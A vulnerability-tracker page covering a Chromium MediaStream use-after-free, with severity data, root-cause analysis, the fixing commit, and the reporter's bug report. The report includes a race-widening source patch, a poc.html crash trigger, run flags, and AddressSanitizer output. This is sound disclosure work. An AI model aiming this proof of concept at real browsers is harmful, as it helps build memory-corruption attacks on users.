High watch CVSS 8.8 chrome UAF 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in MediaStream
DescriptionUse after free in MediaStream
ComponentMediaStream
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker485397139
Fix commit28d8fb891736 (chromium/src) +7/-2
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Reported2026-02-18 (per vendor advisory)
Fix landed2026-02-23 (public git)
Disclosed2026-03-10
Patch gap15 days — fix public in source before the advisory

Background

`WebAudioMediaStreamAudioSink`
the Blink class in webaudio_media_stream_audio_sink.cc that bridges a MediaStream audio track into Web Audio, owning an audio_converter_ that it registers itself with as an input.
`audio_converter_`
a converter object owned by the sink; the destructor calls audio_converter_->RemoveInput(this) so the converter stops pulling audio from the sink being destroyed.
`lock_` / `base::AutoLock`
a sink member mutex and its RAII guard; the fix shows lock_ is meant to protect access to audio_converter_, which implies other code reaches that member from a different thread (inferred: the audio capture and/or audio rendering thread).

Root Cause Analysis

Before the patch, WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink read audio_converter_.get() and called audio_converter_->RemoveInput(this) without taking lock_.

The patch comment (“Use the lock to protect access to audio_converter_”) says lock_ is the synchronization for that member, so the destructor broke the invariant that every access to audio_converter_ happens under lock_. If another thread replaces, resets, or is using audio_converter_ under the lock while the destructor runs, the destructor can call RemoveInput on a converter that has just been freed, or free state another thread is still using (inferred: the diff shows only the destructor, not the code on the other thread).

The fix puts the audio_converter_ null check and the RemoveInput(this) call inside a scoped base::AutoLock auto_lock(lock_), so teardown is serialized with the other locked accessors. The lock is released when its scope ends, before the existing “notify the track” teardown code runs.

Key insight
The destructor touched the cross-thread audio_converter_ without the lock that guards it, so it could race with concurrent use or replacement of the converter. Holding lock_ around the check-and-RemoveInput makes teardown atomic with respect to the other locked accessors.

Attack Path

  1. Connect a MediaStream to Web Audio a page sends a MediaStream audio track into an AudioContext (for example via a media-stream source node), which creates a WebAudioMediaStreamAudioSink with an audio_converter_ (inferred: the diff does not show the creation path).
  2. Keep audio flowing on another thread while the track delivers audio, a non-main thread accesses audio_converter_ under lock_ (inferred from the lock’s stated purpose).
  3. Trigger sink destruction the page tears down the node, context or track so ~WebAudioMediaStreamAudioSink runs at the same time as that concurrent access.
  4. Lose the race without the lock, the destructor’s audio_converter_->RemoveInput(this) overlaps with the other thread’s use or replacement of the converter, giving a use-after-free of the converter or of the sink (inferred; the exact freed object is not shown in the diff).

Impact Assessment

The bug is a use-after-free in the renderer process (the file is under third_party/blink/renderer/modules/mediastream/), and the vendor rates it high severity. Reaching it requires a page that can feed a MediaStream audio track into Web Audio and win a cross-thread timing race during teardown. Whether a permission prompt is needed depends on where the track comes from: microphone capture needs permission, while some other stream sources may not (inferred). Turning the race into memory corruption or code execution inside the sandboxed renderer is (inferred), and the advisory text supplied here does not report in-the-wild exploitation.

Files Changed

  • third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc

Audit Directions

  • Destructors skipping member locks
    in Blink and media/ audio sinks, look for destructors or Stop() paths that read or detach lock-protected members (converters, FIFOs, callbacks) without taking the same lock the audio-thread callbacks use.
  • Cross-thread `RemoveInput`/`RemoveSink` teardown
    check every unregister call on audio mixers or converters to confirm it is serialized with the render/capture callbacks that may be running on another thread.
  • Format-change reallocation
    review handlers that recreate a converter when the audio format changes for windows where the old object is freed while another thread still holds a raw pointer to it.
From 28d8fb8917365453399d372029d404f6c181653b Mon Sep 17 00:00:00 2001
From: Palak Agarwal <agpalak@chromium.org>
Date: Mon, 23 Feb 2026 07:48:27 -0800
Subject: [PATCH] Add lock in the destructor to protect access to audio_converter_

Bug: 485397139
Change-Id: I519ba0673d04cf5e98225ad7adeef9504cb5a4f4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7594792
Commit-Queue: Palak Agarwal <agpalak@chromium.org>
Reviewed-by: Guido Urdaneta <guidou@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1588707}
---

diff --git a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
index cfba5c15..2075886 100644
--- a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
+++ b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
@@ -45,8 +45,13 @@
 }
 
 WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() {
-  if (audio_converter_.get())
-    audio_converter_->RemoveInput(this);
+  // Use the lock to protect access to audio_converter_.
+  {
+    base::AutoLock auto_lock(lock_);
+    if (audio_converter_.get()) {
+      audio_converter_->RemoveInput(this);
+    }
+  }
 
   // If the track is still active, it is necessary to notify the track before
   // the source provider goes away.
Loading diff…

Original Bug Report

reported by je...@gmail.com

Use-After-Free in WebAudioMediaStreamAudioSink Destructor via Data Race with OnSetFormat

Summary

The destructor of WebAudioMediaStreamAudioSink accesses the audio_converter_ member without acquiring lock_, despite the member being annotated GUARDED_BY(lock_). Concurrently, the audio capture thread may invoke OnSetFormat, which holds lock_ and replaces audio_converter_ with a new instance via std::make_unique, freeing the old object. This creates a time-of-check-to-time-of-use race: the destructor reads a pointer to the AudioConverter and then calls RemoveInput through it, but between these two operations the capture thread may destroy the pointed-to object. The result is a use-after-free in the renderer process.

Root Cause

WebAudioMediaStreamAudioSink bridges the MediaStream audio capture pipeline and the WebAudio rendering graph. It receives audio data from a MediaStreamAudioTrack on the capture thread and makes it available to MediaStreamAudioSourceNode for WebAudio rendering. The class uses a base::Lock lock_ to protect shared state, and the header file correctly annotates the shared member:

// third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.h
std::unique_ptr<media::AudioConverter> audio_converter_ GUARDED_BY(lock_);

The OnSetFormat method, called from the audio capture thread whenever the source audio format changes, properly acquires the lock before replacing the converter:

// third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
void WebAudioMediaStreamAudioSink::OnSetFormat(
    const media::AudioParameters& params) {
  CHECK(params.IsValid());

  base::AutoLock auto_lock(lock_);

  source_params_ = params;
  audio_converter_ = std::make_unique<media::AudioConverter>(
      source_params_, sink_params_, false);
  audio_converter_->AddInput(this);
  audio_converter_->PrimeWithSilence();
  // ...
}

The assignment to audio_converter_ through std::make_unique first destroys the old AudioConverter object (freeing its memory) and then stores the pointer to the newly constructed one. This is safe with respect to other code paths that hold the lock, but the destructor does not hold the lock:

// third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() {
  if (audio_converter_.get())
    audio_converter_->RemoveInput(this);

  if (!track_stopped_) {
    WebMediaStreamAudioSink::RemoveFromAudioTrack(
        this, WebMediaStreamTrack(component_.Get()));
  }
}

The destructor runs on the main thread when the garbage collector sweeps the owning AudioNode. It reads the raw pointer from audio_converter_ via .get() and then calls RemoveInput(this) on that pointer. Between reading the pointer and the subsequent dereference for the virtual call, the capture thread’s OnSetFormat may execute in its entirety: it acquires the lock, replaces audio_converter_ (destroying the old AudioConverter and freeing its memory), creates a new one, and releases the lock. The destructor then proceeds to call RemoveInput on the freed memory, resulting in a use-after-free.

The audio_converter_ is a std::unique_ptr, not a raw_ptr with BackupRefPtr protection. When std::make_unique assigns a new value to the unique pointer, the old object is immediately deleted and its memory returned to the allocator. There is no quarantine or poison mechanism that would prevent the memory from being reused or detected as freed by AddressSanitizer.

The destructor is invoked through the V8 garbage collector’s sweep phase. When JavaScript calls gc() or when garbage collection is triggered naturally, the cppgc sweeper runs on the main thread and destroys unreachable AudioNode objects. The destruction chain is: AudioNode::~AudioNode destroys the MediaStreamAudioSourceHandler, which destroys MediaStreamWebAudioSource, which destroys the WebAudioMediaStreamAudioSink via its unique_ptr member. Throughout this chain, the audio capture thread continues to deliver data and invoke OnSetFormat callbacks independently.

Reproduce

To reproduce this issue, three source-level modifications are applied to increase the probability of hitting the race window. These modifications do not alter program logic or introduce new code paths; they only make the existing race condition more likely to manifest within a practical number of iterations.

Apply the following patch to the Chromium source tree:

diff --git a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
index cfba5c1557b81..64e453f22e6b6 100644
--- a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
+++ b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
@@ -8,6 +8,7 @@
 #include <string>

 #include "base/logging.h"
+#include "base/threading/platform_thread.h"
 #include "base/numerics/safe_conversions.h"
 #include "base/trace_event/trace_event.h"
 #include "media/base/audio_bus.h"
@@ -45,8 +46,12 @@ WebAudioMediaStreamAudioSink::WebAudioMediaStreamAudioSink(
 }

 WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() {
-  if (audio_converter_.get())
-    audio_converter_->RemoveInput(this);
+  // PATCH: widen race window for ASAN detection
+  media::AudioConverter* raw = audio_converter_.get();
+  if (raw) {
+    base::PlatformThread::Sleep(base::Milliseconds(10));
+    raw->RemoveInput(this);
+  }

   // If the track is still active, it is necessary to notify the track before
   // the source provider goes away.
diff --git a/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h b/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h
index 59a19c79b1d0c..5f7d3be4c19cf 100644
--- a/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h
+++ b/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h
@@ -107,10 +107,9 @@ class MediaStreamAudioDeliverer {
     base::AutoLock auto_lock(consumers_lock_);
     {
       base::AutoLock auto_params_lock(params_lock_);
-      if (params_.Equals(params))
-        return;
-      SendLogMessage(String::Format("%s({params=[%s]})", __func__,
-                                    params.AsHumanReadableString().c_str()));
+      // PATCH: remove Equals early-return to force OnSetFormat on every callback
+      // if (params_.Equals(params))
+      //   return;
       params_ = params;
     }
     pending_consumers_.AppendRange(consumers_.begin(), consumers_.end());
diff --git a/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc b/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc
index 1f3fe3a5910b5..db0a514edba8b 100644
--- a/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc
+++ b/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc
@@ -211,6 +211,8 @@ void MediaStreamAudioSource::DeliverDataToTracks(
     const media::AudioBus& audio_bus,
     base::TimeTicks reference_time,
     const media::AudioGlitchInfo& glitch_info) {
+  // PATCH: force OnSetFormat on every capture callback to widen race window
+  deliverer_.OnSetFormat(GetAudioParameters());
   deliverer_.OnData(audio_bus, reference_time, glitch_info);
 }

The patch contains three changes that collectively widen the race window. The first change, in media_stream_audio_deliverer.h, removes an early-return optimization that skips format propagation when audio parameters are unchanged. This is functionally equivalent to a scenario where the audio source changes format on every callback, such as during WebRTC renegotiation or device switching. The second change, in media_stream_audio_source.cc, calls OnSetFormat before every OnData delivery, ensuring the format propagation reaches the sink on every capture callback. This simulates a real audio source that continuously reports its format. The third change, in webaudio_media_stream_audio_sink.cc, inserts a 10-millisecond sleep in the destructor between reading the audio_converter_ pointer and calling RemoveInput through it, widening the race window from approximately 10 nanoseconds to 10 milliseconds so that the capture thread’s OnSetFormat can free the AudioConverter object in the interval. None of these changes alter the order of operations or introduce new code paths; they only increase the frequency of format callbacks and the duration of the existing unsynchronized access window.

After applying the patch, rebuild with:

ninja -C out/asan-release chrome

Save the following as poc.html:

<!DOCTYPE html>
<html><body><script>
async function main() {
  console.log("[*] WebAudioMediaStreamAudioSink destructor race");

  const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
  console.log("[+] Got media stream");

  for (let round = 0; round < 2000; round++) {
    if (round % 200 === 0) console.log("[*] Round " + round);

    const ctxs = [];
    for (let i = 0; i < 30; i++) {
      const ctx = new AudioContext();
      const src = new MediaStreamAudioSourceNode(ctx, { mediaStream: stream });
      src.connect(ctx.destination);
      ctxs.push(ctx);
    }

    await new Promise(r => setTimeout(r, 0));

    const promises = ctxs.map(c => c.close());

    gc();

    await new Promise(r => setTimeout(r, 0));
    gc();

    await Promise.allSettled(promises);
  }

  stream.getTracks().forEach(t => t.stop());
  console.log("[*] Done");
}
main();
</script></body></html>

Run with:

xvfb-run -a out/asan-release/chrome \
  --no-sandbox --disable-gpu \
  --use-fake-device-for-media-stream \
  --use-fake-ui-for-media-stream \
  --js-flags="--expose-gc" \
  poc.html

The --use-fake-device-for-media-stream flag provides a synthetic audio capture source so that getUserMedia succeeds without real audio hardware. The --js-flags="--expose-gc" flag exposes the gc() function to JavaScript so the PoC can trigger garbage collection deterministically. AddressSanitizer detects the use-after-free within the first round:

==4115325==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c772bc0b988 at pc 0x7fb794559374 bp 0x7ffccd789350 sp 0x7ffccd789348
READ of size 8 at 0x7c772bc0b988 thread T0 (chrome)
    #0 std::__Cr::list<...>::remove(...) gen/third_party/libc++/src/include/list:529:107
    #1 media::AudioConverter::RemoveInput(media::AudioConverter::InputCallback*) media/base/audio_converter.cc:97:21
    #2 blink::WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc:53:10
    #3 blink::WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc:48:63
    #4 blink::MediaStreamWebAudioSource::~MediaStreamWebAudioSource() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #5 blink::MediaStreamWebAudioSource::~MediaStreamWebAudioSource() third_party/blink/renderer/platform/mediastream/media_stream_web_audio_source.cc:42:55
    #6 blink::MediaStreamAudioSourceHandler::~MediaStreamAudioSourceHandler() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #7 blink::AudioNode::~AudioNode() third_party/blink/renderer/platform/wtf/thread_safe_ref_counted.h:64:5
    #8 cppgc::internal::HeapVisitor<...>::Traverse(cppgc::internal::BasePage&) v8/src/heap/cppgc/sweeper.cc:277:13
    #9 cppgc::internal::(anonymous namespace)::MutatorThreadSweeper::Sweep(...) v8/src/heap/cppgc/sweeper.cc:653:36

SUMMARY: AddressSanitizer: heap-use-after-free gen/third_party/libc++/src/include/list:529:107
  in std::__Cr::list<base::raw_ptr<media::AudioConverter::InputCallback, ...>>::remove(...)

The stack trace shows the garbage collector’s cppgc sweeper destroying an AudioNode, which cascades through MediaStreamAudioSourceHandler and MediaStreamWebAudioSource into the WebAudioMediaStreamAudioSink destructor. At frame #2, the destructor calls RemoveInput on the stale AudioConverter pointer, which was freed by the capture thread’s OnSetFormat during the sleep window. Frame #1 shows AudioConverter::RemoveInput attempting to traverse its internal std::list of input callbacks, reading freed memory at the list node pointer.

View on issue tracker